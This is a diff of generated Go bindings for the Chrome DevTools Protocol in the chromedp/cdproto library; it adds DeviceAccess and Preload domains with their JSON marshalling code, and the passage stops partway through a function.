AffectedFrame *AffectedFrame `json:"affectedFrame,omitempty"`
|
||||
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"`
|
||||
Type DeprecationIssueType `json:"type"`
|
||||
AffectedFrame *AffectedFrame `json:"affectedFrame,omitempty"`
|
||||
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"`
|
||||
Type string `json:"type"` // One of the deprecation names from third_party/blink/renderer/core/frame/deprecation/deprecation.json5
|
||||
}
|
||||
|
||||
// ClientHintIssueReason [no description].
|
||||
|
||||
+4
-4
@@ -319,7 +319,7 @@ func (p *GetBrowserCommandLineParams) Do(ctx context.Context) (arguments []strin
|
||||
// GetHistogramsParams get Chrome histograms.
|
||||
type GetHistogramsParams struct {
|
||||
Query string `json:"query,omitempty"` // Requested substring in name. Only histograms which have query as a substring in their name are extracted. An empty or absent query returns all histograms.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last delta call.
|
||||
}
|
||||
|
||||
// GetHistograms get Chrome histograms.
|
||||
@@ -339,7 +339,7 @@ func (p GetHistogramsParams) WithQuery(query string) *GetHistogramsParams {
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithDelta if true, retrieve delta since last call.
|
||||
// WithDelta if true, retrieve delta since last delta call.
|
||||
func (p GetHistogramsParams) WithDelta(delta bool) *GetHistogramsParams {
|
||||
p.Delta = delta
|
||||
return &p
|
||||
@@ -369,7 +369,7 @@ func (p *GetHistogramsParams) Do(ctx context.Context) (histograms []*Histogram,
|
||||
// GetHistogramParams get a Chrome histogram by name.
|
||||
type GetHistogramParams struct {
|
||||
Name string `json:"name"` // Requested histogram name.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
|
||||
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last delta call.
|
||||
}
|
||||
|
||||
// GetHistogram get a Chrome histogram by name.
|
||||
@@ -385,7 +385,7 @@ func GetHistogram(name string) *GetHistogramParams {
|
||||
}
|
||||
}
|
||||
|
||||
// WithDelta if true, retrieve delta since last call.
|
||||
// WithDelta if true, retrieve delta since last delta call.
|
||||
func (p GetHistogramParams) WithDelta(delta bool) *GetHistogramParams {
|
||||
p.Delta = delta
|
||||
return &p
|
||||
|
||||
+50
-4
@@ -23,6 +23,7 @@ import (
|
||||
"github.com/chromedp/cdproto/css"
|
||||
"github.com/chromedp/cdproto/database"
|
||||
"github.com/chromedp/cdproto/debugger"
|
||||
"github.com/chromedp/cdproto/deviceaccess"
|
||||
"github.com/chromedp/cdproto/deviceorientation"
|
||||
"github.com/chromedp/cdproto/dom"
|
||||
"github.com/chromedp/cdproto/domdebugger"
|
||||
@@ -46,6 +47,7 @@ import (
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/performance"
|
||||
"github.com/chromedp/cdproto/performancetimeline"
|
||||
"github.com/chromedp/cdproto/preload"
|
||||
"github.com/chromedp/cdproto/profiler"
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/chromedp/cdproto/security"
|
||||
@@ -299,6 +301,11 @@ const (
|
||||
EventDebuggerResumed = "Debugger.resumed"
|
||||
EventDebuggerScriptFailedToParse = "Debugger.scriptFailedToParse"
|
||||
EventDebuggerScriptParsed = "Debugger.scriptParsed"
|
||||
CommandDeviceAccessEnable = deviceaccess.CommandEnable
|
||||
CommandDeviceAccessDisable = deviceaccess.CommandDisable
|
||||
CommandDeviceAccessSelectPrompt = deviceaccess.CommandSelectPrompt
|
||||
CommandDeviceAccessCancelPrompt = deviceaccess.CommandCancelPrompt
|
||||
EventDeviceAccessDeviceRequestPrompted = "DeviceAccess.deviceRequestPrompted"
|
||||
CommandDeviceOrientationClearDeviceOrientationOverride = deviceorientation.CommandClearDeviceOrientationOverride
|
||||
CommandDeviceOrientationSetDeviceOrientationOverride = deviceorientation.CommandSetDeviceOrientationOverride
|
||||
CommandEmulationCanEmulate = emulation.CommandCanEmulate
|
||||
@@ -518,7 +525,6 @@ const (
|
||||
CommandPageEnable = page.CommandEnable
|
||||
CommandPageGetAppManifest = page.CommandGetAppManifest
|
||||
CommandPageGetInstallabilityErrors = page.CommandGetInstallabilityErrors
|
||||
CommandPageGetManifestIcons = page.CommandGetManifestIcons
|
||||
CommandPageGetAppID = page.CommandGetAppID
|
||||
CommandPageGetAdScriptID = page.CommandGetAdScriptID
|
||||
CommandPageGetFrameTree = page.CommandGetFrameTree
|
||||
@@ -553,6 +559,7 @@ const (
|
||||
CommandPageAddCompilationCache = page.CommandAddCompilationCache
|
||||
CommandPageClearCompilationCache = page.CommandClearCompilationCache
|
||||
CommandPageSetSPCTransactionMode = page.CommandSetSPCTransactionMode
|
||||
CommandPageSetRPHRegistrationMode = page.CommandSetRPHRegistrationMode
|
||||
CommandPageGenerateTestReport = page.CommandGenerateTestReport
|
||||
CommandPageWaitForDebugger = page.CommandWaitForDebugger
|
||||
CommandPageSetInterceptFileChooserDialog = page.CommandSetInterceptFileChooserDialog
|
||||
@@ -573,6 +580,8 @@ const (
|
||||
EventPageLifecycleEvent = "Page.lifecycleEvent"
|
||||
EventPageBackForwardCacheNotUsed = "Page.backForwardCacheNotUsed"
|
||||
EventPagePrerenderAttemptCompleted = "Page.prerenderAttemptCompleted"
|
||||
EventPagePrefetchStatusUpdated = "Page.prefetchStatusUpdated"
|
||||
EventPagePrerenderStatusUpdated = "Page.prerenderStatusUpdated"
|
||||
EventPageLoadEventFired = "Page.loadEventFired"
|
||||
EventPageNavigatedWithinDocument = "Page.navigatedWithinDocument"
|
||||
EventPageScreencastFrame = "Page.screencastFrame"
|
||||
@@ -585,6 +594,10 @@ const (
|
||||
EventPerformanceMetrics = "Performance.metrics"
|
||||
CommandPerformanceTimelineEnable = performancetimeline.CommandEnable
|
||||
EventPerformanceTimelineTimelineEventAdded = "PerformanceTimeline.timelineEventAdded"
|
||||
CommandPreloadEnable = preload.CommandEnable
|
||||
CommandPreloadDisable = preload.CommandDisable
|
||||
EventPreloadRuleSetUpdated = "Preload.ruleSetUpdated"
|
||||
EventPreloadRuleSetRemoved = "Preload.ruleSetRemoved"
|
||||
CommandProfilerDisable = profiler.CommandDisable
|
||||
CommandProfilerEnable = profiler.CommandEnable
|
||||
CommandProfilerGetBestEffortCoverage = profiler.CommandGetBestEffortCoverage
|
||||
@@ -1448,6 +1461,21 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventDebuggerScriptParsed:
|
||||
v = new(debugger.EventScriptParsed)
|
||||
|
||||
case CommandDeviceAccessEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDeviceAccessDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDeviceAccessSelectPrompt:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandDeviceAccessCancelPrompt:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventDeviceAccessDeviceRequestPrompted:
|
||||
v = new(deviceaccess.EventDeviceRequestPrompted)
|
||||
|
||||
case CommandDeviceOrientationClearDeviceOrientationOverride:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2105,9 +2133,6 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageGetInstallabilityErrors:
|
||||
v = new(page.GetInstallabilityErrorsReturns)
|
||||
|
||||
case CommandPageGetManifestIcons:
|
||||
v = new(page.GetManifestIconsReturns)
|
||||
|
||||
case CommandPageGetAppID:
|
||||
v = new(page.GetAppIDReturns)
|
||||
|
||||
@@ -2210,6 +2235,9 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case CommandPageSetSPCTransactionMode:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageSetRPHRegistrationMode:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPageGenerateTestReport:
|
||||
return emptyVal, nil
|
||||
|
||||
@@ -2270,6 +2298,12 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventPagePrerenderAttemptCompleted:
|
||||
v = new(page.EventPrerenderAttemptCompleted)
|
||||
|
||||
case EventPagePrefetchStatusUpdated:
|
||||
v = new(page.EventPrefetchStatusUpdated)
|
||||
|
||||
case EventPagePrerenderStatusUpdated:
|
||||
v = new(page.EventPrerenderStatusUpdated)
|
||||
|
||||
case EventPageLoadEventFired:
|
||||
v = new(page.EventLoadEventFired)
|
||||
|
||||
@@ -2306,6 +2340,18 @@ func UnmarshalMessage(msg *Message) (interface{}, error) {
|
||||
case EventPerformanceTimelineTimelineEventAdded:
|
||||
v = new(performancetimeline.EventTimelineEventAdded)
|
||||
|
||||
case CommandPreloadEnable:
|
||||
return emptyVal, nil
|
||||
|
||||
case CommandPreloadDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
case EventPreloadRuleSetUpdated:
|
||||
v = new(preload.EventRuleSetUpdated)
|
||||
|
||||
case EventPreloadRuleSetRemoved:
|
||||
v = new(preload.EventRuleSetRemoved)
|
||||
|
||||
case CommandProfilerDisable:
|
||||
return emptyVal, nil
|
||||
|
||||
|
||||
+2
-2
@@ -604,14 +604,14 @@ func TakeComputedStyleUpdates() *TakeComputedStyleUpdatesParams {
|
||||
|
||||
// TakeComputedStyleUpdatesReturns return values.
|
||||
type TakeComputedStyleUpdatesReturns struct {
|
||||
NodeIDs []cdp.NodeID `json:"nodeIds,omitempty"` // The list of node Ids that have their tracked computed styles updated
|
||||
NodeIDs []cdp.NodeID `json:"nodeIds,omitempty"` // The list of node Ids that have their tracked computed styles updated.
|
||||
}
|
||||
|
||||
// Do executes CSS.takeComputedStyleUpdates against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// nodeIDs - The list of node Ids that have their tracked computed styles updated
|
||||
// nodeIDs - The list of node Ids that have their tracked computed styles updated.
|
||||
func (p *TakeComputedStyleUpdatesParams) Do(ctx context.Context) (nodeIDs []cdp.NodeID, err error) {
|
||||
// execute
|
||||
var res TakeComputedStyleUpdatesReturns
|
||||
|
||||
+7
-4
@@ -602,10 +602,11 @@ func (t SetScriptSourceStatus) String() string {
|
||||
|
||||
// SetScriptSourceStatus values.
|
||||
const (
|
||||
SetScriptSourceStatusOk SetScriptSourceStatus = "Ok"
|
||||
SetScriptSourceStatusCompileError SetScriptSourceStatus = "CompileError"
|
||||
SetScriptSourceStatusBlockedByActiveGenerator SetScriptSourceStatus = "BlockedByActiveGenerator"
|
||||
SetScriptSourceStatusBlockedByActiveFunction SetScriptSourceStatus = "BlockedByActiveFunction"
|
||||
SetScriptSourceStatusOk SetScriptSourceStatus = "Ok"
|
||||
SetScriptSourceStatusCompileError SetScriptSourceStatus = "CompileError"
|
||||
SetScriptSourceStatusBlockedByActiveGenerator SetScriptSourceStatus = "BlockedByActiveGenerator"
|
||||
SetScriptSourceStatusBlockedByActiveFunction SetScriptSourceStatus = "BlockedByActiveFunction"
|
||||
SetScriptSourceStatusBlockedByTopLevelEsModuleChange SetScriptSourceStatus = "BlockedByTopLevelEsModuleChange"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -630,6 +631,8 @@ func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetScriptSourceStatusBlockedByActiveGenerator
|
||||
case SetScriptSourceStatusBlockedByActiveFunction:
|
||||
*t = SetScriptSourceStatusBlockedByActiveFunction
|
||||
case SetScriptSourceStatusBlockedByTopLevelEsModuleChange:
|
||||
*t = SetScriptSourceStatusBlockedByTopLevelEsModuleChange
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetScriptSourceStatus value: %v", v))
|
||||
|
||||
+104
@@ -0,0 +1,104 @@
|
||||
// Package deviceaccess provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the DeviceAccess domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package deviceaccess
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
)
|
||||
|
||||
// EnableParams enable events in this domain.
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable enable events in this domain.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// DisableParams disable events in this domain.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable disable events in this domain.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// SelectPromptParams select a device in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
type SelectPromptParams struct {
|
||||
ID RequestID `json:"id"`
|
||||
DeviceID DeviceID `json:"deviceId"`
|
||||
}
|
||||
|
||||
// SelectPrompt select a device in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-selectPrompt
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// id
|
||||
// deviceID
|
||||
func SelectPrompt(id RequestID, deviceID DeviceID) *SelectPromptParams {
|
||||
return &SelectPromptParams{
|
||||
ID: id,
|
||||
DeviceID: deviceID,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.selectPrompt against the provided context.
|
||||
func (p *SelectPromptParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSelectPrompt, p, nil)
|
||||
}
|
||||
|
||||
// CancelPromptParams cancel a prompt in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
type CancelPromptParams struct {
|
||||
ID RequestID `json:"id"`
|
||||
}
|
||||
|
||||
// CancelPrompt cancel a prompt in response to a
|
||||
// DeviceAccess.deviceRequestPrompted event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#method-cancelPrompt
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// id
|
||||
func CancelPrompt(id RequestID) *CancelPromptParams {
|
||||
return &CancelPromptParams{
|
||||
ID: id,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes DeviceAccess.cancelPrompt against the provided context.
|
||||
func (p *CancelPromptParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandCancelPrompt, p, nil)
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandEnable = "DeviceAccess.enable"
|
||||
CommandDisable = "DeviceAccess.disable"
|
||||
CommandSelectPrompt = "DeviceAccess.selectPrompt"
|
||||
CommandCancelPrompt = "DeviceAccess.cancelPrompt"
|
||||
)
|
||||
+466
@@ -0,0 +1,466 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package deviceaccess
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess(in *jlexer.Lexer, out *SelectPromptParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RequestID(in.String())
|
||||
case "deviceId":
|
||||
out.DeviceID = DeviceID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess(out *jwriter.Writer, in SelectPromptParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"deviceId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.DeviceID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v SelectPromptParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v SelectPromptParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *SelectPromptParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *SelectPromptParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess1(in *jlexer.Lexer, out *PromptDevice) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = DeviceID(in.String())
|
||||
case "name":
|
||||
out.Name = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess1(out *jwriter.Writer, in PromptDevice) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"name\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Name))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v PromptDevice) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v PromptDevice) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *PromptDevice) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *PromptDevice) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess2(in *jlexer.Lexer, out *EventDeviceRequestPrompted) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RequestID(in.String())
|
||||
case "devices":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Devices = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.Devices == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.Devices = make([]*PromptDevice, 0, 8)
|
||||
} else {
|
||||
out.Devices = []*PromptDevice{}
|
||||
}
|
||||
} else {
|
||||
out.Devices = (out.Devices)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v1 *PromptDevice
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
v1 = nil
|
||||
} else {
|
||||
if v1 == nil {
|
||||
v1 = new(PromptDevice)
|
||||
}
|
||||
(*v1).UnmarshalEasyJSON(in)
|
||||
}
|
||||
out.Devices = append(out.Devices, v1)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess2(out *jwriter.Writer, in EventDeviceRequestPrompted) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"devices\":"
|
||||
out.RawString(prefix)
|
||||
if in.Devices == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
out.RawByte('[')
|
||||
for v2, v3 := range in.Devices {
|
||||
if v2 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
if v3 == nil {
|
||||
out.RawString("null")
|
||||
} else {
|
||||
(*v3).MarshalEasyJSON(out)
|
||||
}
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EventDeviceRequestPrompted) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EventDeviceRequestPrompted) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EventDeviceRequestPrompted) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EventDeviceRequestPrompted) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess3(in *jlexer.Lexer, out *EnableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess3(out *jwriter.Writer, in EnableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v EnableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess4(in *jlexer.Lexer, out *DisableParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess4(out *jwriter.Writer, in DisableParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v DisableParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess4(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess4(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess4(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess4(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess5(in *jlexer.Lexer, out *CancelPromptParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
